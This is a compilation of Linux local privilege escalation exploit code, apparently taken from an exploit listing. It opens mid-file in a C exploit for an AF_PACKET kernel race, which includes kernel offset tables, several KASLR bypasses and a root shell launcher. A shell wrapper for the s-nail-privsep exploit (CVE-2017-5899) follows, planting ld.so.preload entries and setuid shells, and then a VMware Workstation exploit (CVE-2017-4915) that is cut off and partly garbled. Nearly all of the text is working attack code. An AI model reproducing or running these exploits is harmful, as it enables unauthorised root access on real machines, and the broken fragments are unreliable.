*SYSCTL_PATH = "/proc/sys/hack"; volatile int barrier = 1; volatile int vers_switcher_done = 0; struct kernel_info { char *kernel_version; unsigned long proc_dostring; unsigned long modprobe_path; unsigned long register_sysctl_table; unsigned long set_memory_rw; }; struct kernel_info kernels[] = { { "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 }, { "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 }, { "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 }, { "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 }, { "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 }, { "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 }, { "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 }, { "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 }, { "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 }, { "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 }, //{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880}, { "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 }, //{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880}, { "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 }, { "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 }, { "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 }, { "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 }, { "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 }, { "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 }, { "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 }, { "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 }, { "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 }, { "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 }, { "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 }, { "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 }, //{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320}, { "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 }, //{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320}, { "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320}, }; #define VSYSCALL 0xffffffffff600000 #define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring) #define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path) #define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table) #define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw) #define KMALLOC_PAD 64 int pad_fds[KMALLOC_PAD]; // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * struct ctl_table { const char *procname; void *data; int maxlen; unsigned short mode; struct ctl_table *child; void *proc_handler; void *poll; void *extra1; void *extra2; }; #define CONF_RING_FRAMES 1 struct tpacket_req3 tp; int sfd; int mapped = 0; struct timer_list { void *next; void *prev; unsigned long expires; void (*function)(unsigned long); unsigned long data; unsigned int flags; int slack; }; // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * void *setsockopt_thread(void *arg) { while (barrier) {} setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp)); return NULL; } void *vers_switcher(void *arg) { int val,x,y; while (barrier) {} while (1) { val = TPACKET_V1; x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); y++; if (x != 0) break; val = TPACKET_V3; x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); if (x != 0) break; y++; } dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val); vers_switcher_done = 1; return NULL; } // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * #define BUFSIZE 1408 char exploitbuf[BUFSIZE]; void kmalloc(void) { while(1) syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2); } void pad_kmalloc(void) { int x; for (x = 0; x < KMALLOC_PAD; x++) if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) { dprintf("[-] pad_kmalloc() socket error\n"); exit(EXIT_FAILURE); } } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * int try_exploit(unsigned long func, unsigned long arg, void *verification_func) { pthread_t setsockopt_thread_thread,a; int val; socklen_t l; struct timer_list *timer; int fd; struct tpacket_block_desc *pbd; int off; sigset_t set; sigemptyset(&set); sigaddset(&set, SIGSEGV); if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) { dprintf("[-] couldn't set sigmask\n"); exit(1); } dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg); pad_kmalloc(); fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); if (fd == -1) { dprintf("[-] target socket error\n"); exit(1); } pad_kmalloc(); dprintf("[.] done, sockets allocated\n"); val = TPACKET_V3; setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); tp.tp_block_nr = 1; tp.tp_frame_size = getpagesize(); tp.tp_frame_nr = CONF_RING_FRAMES; // try to set the timeout to 10 seconds // the default timeout might still be used though depending on when the race was won tp.tp_retire_blk_tov = 10000; sfd = fd; if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) { dprintf("[-] Error creating thread\n"); return 1; } pthread_create(&a, NULL, vers_switcher, (void *)NULL); usleep(200000); dprintf("[.] removing barrier and spraying...\n"); memset(exploitbuf, '\x00', BUFSIZE); timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8); timer->next = 0; timer->prev = 0; timer->expires = 4294943360; timer->function = (void *)func; timer->data = arg; timer->flags = 1; timer->slack = -1; barrier = 0; usleep(100000); while (!vers_switcher_done) usleep(100000); l = sizeof(val); getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l); dprintf("[.] current packet version = %d\n",val); pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0); if (pbd == MAP_FAILED) { dprintf("[-] could not map pbd\n"); exit(1); } else { off = pbd->hdr.bh1.offset_to_first_pkt; dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off); } if (val == TPACKET_V1 && off != 0) { dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n"); } else { dprintf("[-] race not won\n"); exit(2); } munmap(pbd, tp.tp_block_size * tp.tp_block_nr); pthread_create(&a, NULL, verification_func, (void *)NULL); dprintf("\n"); dprintf("[!] please wait up to a few minutes for timer to be executed.\n"); dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n"); dprintf("\n"); sleep(1); dprintf("[.] closing socket and verifying...\n"); close(sfd); kmalloc(); dprintf("[.] all messages sent\n"); sleep(31337); exit(1); } int verification_result = 0; void catch_sigsegv(int sig) { verification_result = 0; pthread_exit((void *)1); } void *modify_vsyscall(void *arg) { unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850); unsigned long x = (unsigned long)arg; sigset_t set; sigemptyset(&set); sigaddset(&set, SIGSEGV); if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) { dprintf("[-] couldn't set sigmask\n"); exit(EXIT_FAILURE); } signal(SIGSEGV, catch_sigsegv); *vsyscall = 0xdeadbeef+x; if (*vsyscall == 0xdeadbeef+x) { dprintf("[~] vsyscall page altered!\n"); verification_result = 1; pthread_exit(0); } return NULL; } void verify_stage1(void) { pthread_t v_thread; sleep(5); int x; for(x = 0; x < 300; x++) { pthread_create(&v_thread, NULL, modify_vsyscall, 0); pthread_join(v_thread, NULL); if(verification_result == 1) { exit(0); } write(2,".",1); sleep(1); } dprintf("[-] could not modify vsyscall\n"); exit(EXIT_FAILURE); } void verify_stage2(void) { struct stat b; sleep(5); int x; for(x = 0; x < 300; x++) { if (stat(SYSCTL_PATH, &b) == 0) { dprintf("[~] sysctl added!\n"); exit(0); } write(2,".",1); sleep(1); } dprintf("[-] could not add sysctl\n"); exit(EXIT_FAILURE); } void exploit(unsigned long func, unsigned long arg, void *verification_func) { int status; int pid; retry: pid = fork(); if (pid == 0) { try_exploit(func, arg, verification_func); exit(1); } wait(&status); dprintf("\n"); if (WEXITSTATUS(status) == 2) { dprintf("[.] retrying stage...\n"); kill(pid, 9); sleep(2); goto retry; } if (WEXITSTATUS(status) != 0) { dprintf("[-] something bad happened, aborting exploit attempt\n"); exit(EXIT_FAILURE); } kill(pid, 9); } void wrapper(void) { struct ctl_table *c; dprintf("[.] making vsyscall page writable...\n\n"); exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1); dprintf("[~] done, stage 1 completed\n"); sleep(5); dprintf("[.] registering new sysctl...\n\n"); c = (struct ctl_table *)(VSYSCALL+0x850); memset((char *)(VSYSCALL+0x850), '\x00', 1952); strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME); memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4); c->procname = (char *)(VSYSCALL+0xf00); c->mode = 0666; c->proc_handler = (void *)(PROC_DOSTRING); c->data = (void *)(MODPROBE_PATH); c->maxlen = 256; c->extra1 = (void *)(VSYSCALL+0xe00); c->extra2 = (void *)(VSYSCALL+0xd00); exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2); dprintf("[~] done, stage 2 completed\n"); } // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * void check_procs() { int min_procs = 2; int nprocs = 0; nprocs = get_nprocs_conf(); if (nprocs < min_procs) { dprintf("[-] system has less than %d processor cores\n", min_procs); exit(EXIT_FAILURE); } dprintf("[.] system has %d processor cores\n", nprocs); } struct utsname get_kernel_version() { struct utsname u; int rv = uname(&u); if (rv != 0) { dprintf("[-] uname())\n"); exit(EXIT_FAILURE); } return u; } #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) void detect_versions() { struct utsname u; char kernel_version[512]; u = get_kernel_version(); if (strstr(u.machine, "64") == NULL) { dprintf("[-] system is not using a 64-bit kernel\n"); exit(EXIT_FAILURE); } if (strstr(u.version, "-Ubuntu") == NULL) { dprintf("[-] system is not using an Ubuntu kernel\n"); exit(EXIT_FAILURE); } char *u_ver = strtok(u.version, " "); snprintf(kernel_version, 512, "%s %s", u.release, u_ver); int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(kernel_version, kernels[i].kernel_version) == 0) { dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version); kernel = i; return; } } dprintf("[-] kernel version not recognized\n"); exit(EXIT_FAILURE); } // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 bool mmap_syslog(char** buffer, int* size) { *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (*size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); return false; } *size = (*size / getpagesize() + 1) * getpagesize(); *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); if (*size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); return false; } return true; } unsigned long get_kernel_addr_trusty(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) return 0; int start = 0; int end = 0; for (end = start; substr[end] != '-'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) return 0; char* endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xffffffffff000000ul; return r; } unsigned long get_kernel_addr_xenial(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { return 0; } int start = 0; int end = 0; for (start = 0; substr[start] != '-'; start++); for (end = start; substr[end] != '\n'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) { return 0; } char* endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xfffffffffff00000ul; r -= 0x1000000ul; return r; } unsigned long get_kernel_addr_syslog() { unsigned long addr = 0; char* syslog; int size; dprintf("[.] trying syslog...\n"); if (!mmap_syslog(&syslog, &size)) return 0; if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL) addr = get_kernel_addr_trusty(syslog, size); else addr = get_kernel_addr_xenial(syslog, size); if (!addr) dprintf("[-] kernel base not found in syslog\n"); return addr; } // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_kallsyms() { FILE *f; unsigned long addr = 0; char dummy; char sname[256]; char* name = "startup_64"; char* path = "/proc/kallsyms"; dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s)\n", path); return 0; } int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } // * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_sysmap() { FILE *f; unsigned long addr = 0; char path[512] = "/boot/System.map-"; char version[32]; struct utsname u; u = get_kernel_version(); strcat(path, u.release); dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s)\n", path); return 0; } char dummy; char sname[256]; char* name = "startup_64"; int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } // * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_mincore() { unsigned char buf[getpagesize()/sizeof(unsigned char)]; unsigned long iterations = 20000000; unsigned long addr = 0; dprintf("[.] trying mincore info leak...\n"); /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) { dprintf("[-] mmap()\n"); return 0; } int i; for (i = 0; i <= iterations; i++) { /* Touch a mishandle with this type mapping */ if (mincore((void*)0x86000000, 0x1000000, buf)) { dprintf("[-] mincore()\n"); return 0; } int n; for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) { addr = *(unsigned long*)(&buf[n]); /* Kernel address space */ if (addr > 0xffffffff00000000) { addr &= 0xffffffffff000000ul; if (munmap((void*)0x66000000, 0x20000000000)) dprintf("[-] munmap()\n"); return addr; } } } if (munmap((void*)0x66000000, 0x20000000000)) dprintf("[-] munmap()\n"); dprintf("[-] kernel base not found in mincore info leak\n"); return 0; } // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * unsigned long get_kernel_addr() { unsigned long addr = 0; addr = get_kernel_addr_kallsyms(); if (addr) return addr; addr = get_kernel_addr_sysmap(); if (addr) return addr; addr = get_kernel_addr_syslog(); if (addr) return addr; addr = get_kernel_addr_mincore(); if (addr) return addr; dprintf("[-] KASLR bypass failed\n"); exit(EXIT_FAILURE); return 0; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * void launch_rootshell(void) { int fd; char buf[256]; struct stat s; fd = open(SYSCTL_PATH, O_WRONLY); if(fd == -1) { dprintf("[-] could not open %s\n", SYSCTL_PATH); exit(EXIT_FAILURE); } memset(buf, '\x00', 256); readlink("/proc/self/exe", (char *)&buf, 256); write(fd, buf, strlen(buf)+1); socket(AF_INET, SOCK_STREAM, 132); if (stat(buf,&s) == 0 && s.st_uid == 0) { dprintf("[+] binary executed by kernel, launching rootshell\n"); lseek(fd, 0, SEEK_SET); write(fd, "/sbin/modprobe", 15); close(fd); execl(buf, buf, NULL); } else { dprintf("[-] could not create rootshell\n"); exit(EXIT_FAILURE); } } void setup_sandbox() { if (unshare(CLONE_NEWUSER) != 0) { dprintf("[-] unshare(CLONE_NEWUSER)\n"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { dprintf("[-] unshare(CLONE_NEWNET)\n"); exit(EXIT_FAILURE); } } int main(int argc, char **argv) { int status, pid; struct utsname u; char buf[512], *f; if (getuid() == 0 && geteuid() == 0) { chown("/proc/self/exe", 0, 0); chmod("/proc/self/exe", 06755); exit(0); } if (getuid() != 0 && geteuid() == 0) { setresuid(0, 0, 0); setresgid(0, 0, 0); execl("/bin/bash", "bash", "-p", NULL); exit(0); } dprintf("linux AF_PACKET race condition exploit by rebel\n"); dprintf("[.] starting\n"); dprintf("[.] checking hardware\n"); check_procs(); dprintf("[~] done, hardware looks good\n"); dprintf("[.] checking kernel version\n"); detect_versions(); dprintf("[~] done, version looks good\n"); #if ENABLE_KASLR_BYPASS dprintf("[.] KASLR bypass enabled, getting kernel base address\n"); KERNEL_BASE = get_kernel_addr(); dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE); #endif dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING); dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH); dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE); dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW); pid = fork(); if (pid == 0) { dprintf("[.] setting up namespace sandbox\n"); setup_sandbox(); dprintf("[~] done, namespace sandbox set up\n"); wrapper(); exit(0); } waitpid(pid, &status, 0); launch_rootshell(); return 0; }
  6. #!/bin/sh # Wrapper for @wapiflapi's s-nail-privget.c local root exploit for CVE-2017-5899 # uses ld.so.preload technique # --- # [~] Found privsep: /usr/lib/s-nail/s-nail-privsep # [.] Compiling /var/tmp/.snail.so.c ... # [.] Compiling /var/tmp/.sh.c ... # [.] Compiling /var/tmp/.privget.c ... # [.] Adding /var/tmp/.snail.so to /etc/ld.so.preload ... # [=] s-nail-privsep local root by @wapiflapi # [.] Started flood in /etc/ld.so.preload # [.] Started race with /usr/lib/s-nail/s-nail-privsep # [.] This could take a while... # [.] Race #1 of 1000 ... # This is a helper program of "s-nail" (in /usr/bin). # It is capable of gaining more privileges than "s-nail" # and will be used to create lock files. # It's sole purpose is outsourcing of high privileges into # fewest lines of code in order to reduce attack surface. # It cannot be run by itself. # [.] Race #2 of 1000 ... # ... # ... # ... # [.] Race #9 of 1000 ... # [+] got root! /var/tmp/.sh (uid=0 gid=0) # [.] Cleaning up... # [+] Success: # -rwsr-xr-x 1 root root 6336 Jan 13 20:42 /var/tmp/.sh # [.] Launching root shell: /var/tmp/.sh # # id # uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(test) # --- # <[email protected]> # https://github.com/bcoles/local-exploits/tree/master/CVE-2017-5899 base_dir="/var/tmp" rootshell="${base_dir}/.sh" privget="${base_dir}/.privget" lib="${base_dir}/.snail.so" if test -u "${1}"; then privsep_path="${1}" elif test -u /usr/lib/s-nail/s-nail-privsep; then privsep_path="/usr/lib/s-nail/s-nail-privsep" elif test -u /usr/lib/mail-privsep; then privsep_path="/usr/lib/mail-privsep" else echo "[-] Could not find privsep path" exit 1 fi echo "[~] Found privsep: ${privsep_path}" if ! test -w "${base_dir}"; then echo "[-] ${base_dir} is not writable" exit 1 fi echo "[.] Compiling ${lib}.c ..." cat << EOF > "${lib}.c" #include <stdlib.h> #include <stdio.h> #include <sys/stat.h> #include <unistd.h> void init(void) __attribute__((constructor)); void __attribute__((constructor)) init() { if (setuid(0) || setgid(0)) _exit(1); unlink("/etc/ld.so.preload"); chown("${rootshell}", 0, 0); chmod("${rootshell}", 04755); _exit(0); } EOF if ! gcc "${lib}.c" -fPIC -Wall -shared -s -o "${lib}"; then echo "[-] Compiling ${lib}.c failed" exit 1 fi /bin/rm "${lib}.c" echo "[.] Compiling ${rootshell}.c ..." cat << EOF > "${rootshell}.c" #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main(void) { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); } EOF if ! gcc "${rootshell}.c" -fPIC -Wall -s -o "${rootshell}"; then echo "[-] Compiling ${rootshell}.c failed" exit 1 fi /bin/rm "${rootshell}.c" cat << EOF > "${privget}.c" /* ** 26/01/2016: s-nail-privsep local root by @wapiflapi ** The setuid s-nail-privsep binary has a directory traversal bug. ** This lets us be owner of a file at any location root can give us one, ** only for a very short time though. So we have to race a bit :-) ** Here we abuse the vuln by creating a polkit policy letting us call pkexec su. ** ** gcc s-nail-privget.c -o s-nail-privget ** ** # for ubuntu: ** ./s-nail-privget /usr/lib/s-nail/s-nail-privsep ** # for archlinux: ** ./s-nail-privget /usr/lib/mail-privsep ** --- ** Original exploit: https://www.openwall.com/lists/oss-security/2017/01/27/7/1 ** Updated by <[email protected]> to use ldpreload technique ** https://github.com/bcoles/local-exploits/tree/master/CVE-2017-5899 */ #define _GNU_SOURCE #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #define DEBUG #ifdef DEBUG # define dprintf printf #else # define dprintf #endif #define ROOTSHELL "${rootshell}" #define ITERATIONS 1000 /* ** Attempts to copy data to target quickly... */ static pid_t flood(char const *target, char const *data, size_t len) { pid_t child; if ((child = fork()) != 0) return child; if (nice(-20) < 0) { dprintf("[!] Failed to set niceness"); } while (1) { int fd; if ((fd = open(target, O_WRONLY)) < 0) { continue; } write(fd, data, len); close(fd); usleep(10); } return child; } /* ** This triggers the vulnerability. (a lot.) */ static pid_t race(char const *path, char const *target) { pid_t child; if ((child = fork()) != 0) return child; char *argv[] = { NULL, "rdotlock", "mailbox", NULL, // \$TMPDIR/foo "name", NULL, // \$TMPDIR/foo.lock "hostname", "spam", "randstr", NULL, // eggs/../../../../../../..\$TARGET "pollmsecs","0", NULL }; char tmpdir[] = "/tmp/tmpdir.XXXXXX"; char *loldir; int fd, pid, inpipe[2], outpipe[2]; if (!mkdtemp(tmpdir)) { dprintf("[-] mkdtemp(%s)", tmpdir); exit(EXIT_FAILURE); } if (!(argv[0] = strrchr(path, '/'))) { dprintf("[-] %s is not full path to privsep.", path); exit(EXIT_FAILURE); } argv[0] += 1; // skip '/'. // (nope I'm not going to free those later.) if (asprintf(&loldir, "%s/foo.lock.spam.eggs", tmpdir) < 0 || asprintf(&argv[3], "%s/foo", tmpdir) < 0 || asprintf(&argv[5], "%s/foo.lock", tmpdir) < 0 || asprintf(&argv[9], "eggs/../../../../../../..%s", target) < 0) { dprintf("[-] asprintf() failed\n"); exit(EXIT_FAILURE); } // touch \$tmpdir/foo if ((fd = open(argv[3], O_WRONLY | O_CREAT, 0640)) < 0) { dprintf("[-] open(%s) failed\n", argv[3]); exit(EXIT_FAILURE); } close(fd); // mkdir \$tmpdir/foo.lock.spam.eggs if (mkdir(loldir, 0755) < 0) { dprintf("[-] mkdir(%s) failed\n", loldir); exit(EXIT_FAILURE); } // OK, done setting up the environment & args. // Setup some pipes and let's get going. if (pipe(inpipe) < 0 || pipe(outpipe) < 0) { dprintf("[-] pipe() failed\n"); exit(EXIT_FAILURE); } close(inpipe[1]); close(outpipe[0]); while (1) { if ((pid = fork()) < 0) { dprintf("[!] fork failed\n"); continue; } else if (pid) { waitpid(pid, NULL, 0); continue; } // This is the child, give it the pipes it wants. (-_-') if (dup2(inpipe[0], 0) < 0 || dup2(outpipe[1], 1) < 0) { dprintf("[-] dup2() failed\n"); exit(EXIT_FAILURE); } if (nice(20) < 0) { dprintf("[!] Failed to set niceness"); } execv(path, argv); dprintf("[-] execve(%s) failed\n", path); exit(EXIT_FAILURE); } return child; } int main(int argc, char **argv, char **envv) { char payload[] = "${lib}"; char const *target = "/etc/ld.so.preload"; char const *privsep_path = argv[1]; pid_t flood_pid, race_pid; struct stat st; if (argc != 2) { dprintf("usage: %s /full/path/to/privsep\n", argv[0]); exit(EXIT_FAILURE); } lstat(privsep_path, &st); if ((long)st.st_uid != 0) { dprintf("[-] privsep path is not valid: %s\n", privsep_path); exit(EXIT_FAILURE); } dprintf("[=] s-nail-privsep local root by @wapiflapi\n"); if ((flood_pid = flood(target, payload, sizeof payload)) == -1) { dprintf("[-] flood() failed\n"); exit(EXIT_FAILURE); } dprintf("[.] Started flood in %s\n", target); if ((race_pid = race(privsep_path, target)) == -1) { dprintf("[-] race() failed\n"); exit(EXIT_FAILURE); } dprintf("[.] Started race with %s\n", privsep_path); dprintf("[.] This could take a while...\n"); for (int i = 1; i <= ITERATIONS; i++) { dprintf("[.] Race #%d of %d ...\n", i, ITERATIONS); system(privsep_path); lstat(ROOTSHELL, &st); if ((long)st.st_uid == 0) break; } kill(race_pid, SIGKILL); kill(flood_pid, SIGKILL); if ((long)st.st_uid != 0) { dprintf("[-] Failed. Not vulnerable?\n"); exit(EXIT_FAILURE); } dprintf("[+] got root! %s (uid=%ld gid=%ld)\n", ROOTSHELL, (long)st.st_uid, (long)st.st_gid); return system(ROOTSHELL); } EOF echo "[.] Compiling ${privget}.c ..." if ! gcc "${privget}.c" -fPIC -Wall -s -o "${privget}"; then echo "[-] Compiling ${privget}.c failed" exit 1 fi /bin/rm "${privget}.c" echo "[.] Adding ${lib} to /etc/ld.so.preload ..." echo | $privget "${privsep_path}" echo '[.] Cleaning up...' /bin/rm "${privget}" /bin/rm "${lib}" if ! test -u "${rootshell}"; then echo '[-] Failed' /bin/rm "${rootshell}" exit 1 fi echo '[+] Success:' /bin/ls -la "${rootshell}" echo "[.] Launching root shell: ${rootshell}" $rootshell
  7. #!/bin/bash ################################################################################ # VMware Workstation Local Privilege Escalation exploit (CVE-2017-4915) # # - https://www.vmware.com/security/advisories/VMSA-2017-0009.html # # - https://www.exploit-db.com/exploits/42045/ # # # # Affects: # # - VMware Workstation Player <= 12.5.5 # # - VMware Workstation Pro <= 12.5.5 # ################################################################################ # ~ bcoles VM_PLAYER=/usr/bin/vmplayer GCC=/usr/bin/gcc RAND_STR=$(echo $RANDOM | tr '[0-9]' '[a-zA-Z]') VM_DIR=$HOME/.$RAND_STR echo "[*] Creating directory $VM_DIR" mkdir "$VM_DIR" if [ $? -ne 0 ] ; then echo "[-] Could not create $VM_DIR" exit 1 fi echo "[*] Writing $VM_DIR/$RAND_STR.c" cat > "$VM_DIR/$RAND_STR.c" <<EOL #define _GNU_SOURCE #include <stdlib.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> #include <err.h> extern char *program_invocation_short_name; __attribute__((constructor)) void run(void) { uid_t ruid, euid, suid; if (getresuid(&ruid, &euid, &suid)) err(1, "getresuid"); printf("[*] Current UIDs: %d %d %d\n", ruid, euid, suid); if (ruid == 0 || euid == 0 || suid == 0) { if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) err(1, "setresxid"); printf("switched to root UID and GID"); system("/bin/bash"); _exit(0); } } EOL echo "[*] Compiling $VM_DIR/$RAND_STR.c" $GCC -shared -o "$VM_DIR/$RAND_STR.so" "$VM_DIR/$RAND_STR.c" -fPIC -Wall -ldl -std=gnu99 if [ $? -ne 0 ] ; then echo "[-] Compilation failed" exit 1 fi echo "[*] Removing $VM_DIR/$RAND_STR.c" rm "$VM_DIR/$RAND_STR.c" echo "[*] Writing $HOME/.asoundrc" lib "$VM_DIR/$RAND_STR.so" func "conf_pulse_hook_load_if_running" } EOL echo "[*] Writing $VM_DIR/$RAND_STR.vmx" cat > "$VM_DIR/$RAND_STR.vmx" <<EOL .encoding = "UTF-8" config.version = "8" virtualHW.version = "8" scsi0.present = "FALSE" memsize = "4" ide0:0.present = "FALSE" sound.present = "TRUE" sound.fileName = "-1" sound.autodetect = "TRUE" vmci0.present = "FALSE" hpet0.present = "FALSE" displayName = "$RAND_STR" guestOS = "other" nvram = "$RAND_STR.nvram" virtualHW.productCompatibility = 